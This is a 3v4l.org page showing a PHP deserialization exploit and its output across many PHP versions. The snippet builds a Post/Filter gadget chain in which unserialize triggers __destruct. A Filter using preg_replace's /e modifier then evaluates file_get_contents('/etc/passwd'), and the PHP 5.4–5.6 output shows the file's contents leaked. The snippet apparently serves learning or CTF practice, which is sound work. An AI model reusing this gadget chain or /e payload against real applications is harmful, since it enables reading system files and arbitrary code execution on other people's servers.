3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Filter { protected $pattern; protected $repl; function __construct($pattern, $repl) { $this->pattern = $pattern; $this->repl = $repl; } function filter($data) { return preg_replace($this->pattern, $this->repl, $data); } function __destruct(){ echo "BYE BITCH\n"; } }; class Post { protected $title; protected $text; protected $filters; function __construct($title, $text, $filters) { $this->title = $title; $this->text = $text; $this->filters = $filters; } function get_title() { return htmlspecialchars($this->title); } function display_post() { $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); return $text; } function __destruct() { // debugging stuff $s = "<!-- POST " . htmlspecialchars($this->title); $text = htmlspecialchars($this->text); echo 'WOAH ITS A FILTER '.'"'.$this->filters.'"'; foreach ($this->filters as $filter) $text = $filter->filter($text); $s = $s . ": " . $text; $s = $s . " -->"; echo $s; } }; $standard_filter_set = [new Filter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"), new Filter("/\[b\](.*)\[\/b\]/i", "<b>\\1</b>"), new Filter("/\[img\](.*)\[\/img\]/i", "<img src='\\1'>"), new Filter("/\[br\]/i", "<br>")]; echo unserialize(json_decode(json_encode(serialize(new Post("a", "br", [new Filter("/br/e", "file_get_contents('/etc/passwd')"), new Filter("/moni/", "i repor u")])))));
Output for 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4
Warning: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/moEIh on line 11 Deprecated: preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /in/moEIh on line 11 <!-- POST a: -->BYE BITCH BYE BITCH Warning: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/moEIh on line 11 Deprecated: preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /in/moEIh on line 11 <!-- POST a: -->BYE BITCH BYE BITCH Fatal error: Uncaught Error: Object of class Post could not be converted to string in /in/moEIh:57 Stack trace: #0 {main} thrown in /in/moEIh on line 57 BYE BITCH BYE BITCH BYE BITCH BYE BITCH
Process exited with code 255.
Output for 8.0.0 - 8.0.30
Warning: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/moEIh on line 11 <!-- POST a: -->BYE BITCH BYE BITCH Warning: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/moEIh on line 11 <!-- POST a: -->BYE BITCH BYE BITCH Fatal error: Uncaught Error: Object of class Post could not be converted to string in /in/moEIh:57 Stack trace: #0 {main} thrown in /in/moEIh on line 57 BYE BITCH BYE BITCH BYE BITCH BYE BITCH
Process exited with code 255.
Output for 7.4.0 - 7.4.33
Notice: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/moEIh on line 11 <!-- POST a: -->BYE BITCH BYE BITCH Notice: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/moEIh on line 11 <!-- POST a: -->BYE BITCH BYE BITCH Fatal error: Uncaught Error: Object of class Post could not be converted to string in /in/moEIh:57 Stack trace: #0 {main} thrown in /in/moEIh on line 57
Process exited with code 255.
Output for 7.3.32 - 7.3.33
WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/moEIh on line 11 <!-- POST a: -->BYE BITCH BYE BITCH Recoverable fatal error: Object of class Post could not be converted to string in /in/moEIh on line 57
Process exited with code 255.
Output for 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.16 - 7.3.31
Notice: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/moEIh on line 11 <!-- POST a: -->BYE BITCH BYE BITCH Recoverable fatal error: Object of class Post could not be converted to string in /in/moEIh on line 57
Process exited with code 255.
Output for 7.0.0 - 7.0.20
Notice: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/moEIh on line 11 <!-- POST a: -->BYE BITCH BYE BITCH Catchable fatal error: Object of class Post could not be converted to string in /in/moEIh on line 57
Process exited with code 255.
Output for 5.5.0 - 5.5.38, 5.6.0 - 5.6.28
Notice: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array" Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/moEIh on line 11 <!-- POST a: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin http:x:33:33:http:/srv/http:/usr/bin/nologin uuidd:x:68:68:uuidd:/:/usr/bin/nologin dbus:x:81:81:dbus:/:/usr/bin/nologin nobody:x:99:99:nobody:/:/usr/bin/nologin systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin -->BYE BITCH BYE BITCH Catchable fatal error: Object of class Post could not be converted to string in /in/moEIh on line 57
Process exited with code 255.
Output for 5.4.0 - 5.4.45
Notice: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array"<!-- POST a: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin http:x:33:33:http:/srv/http:/usr/bin/nologin uuidd:x:68:68:uuidd:/:/usr/bin/nologin dbus:x:81:81:dbus:/:/usr/bin/nologin nobody:x:99:99:nobody:/:/usr/bin/nologin systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin -->BYE BITCH BYE BITCH Catchable fatal error: Object of class Post could not be converted to string in /in/moEIh on line 57
Process exited with code 255.
Output for 5.2.14 - 5.2.17, 5.3.3 - 5.3.29
Parse error: syntax error, unexpected '[' in /in/moEIh on line 52
Process exited with code 255.
Output for 5.1.0 - 5.1.6, 5.2.0 - 5.2.13, 5.3.0 - 5.3.2
Strict Standards: Redefining already defined constructor for class Filter in /in/moEIh on line 10 Parse error: syntax error, unexpected '[' in /in/moEIh on line 52
Process exited with code 255.
Output for 5.0.0 - 5.0.5
Strict Standards: Redefining already defined constructor for class Filter in /in/moEIh on line 10 Parse error: parse error, unexpected '[' in /in/moEIh on line 52
Process exited with code 255.
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/moEIh on line 4
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.3.11, 4.4.0 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/moEIh on line 4
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/moEIh on line 4
Process exited with code 255.

preferences:
230.4 ms | 401 KiB | 348 Q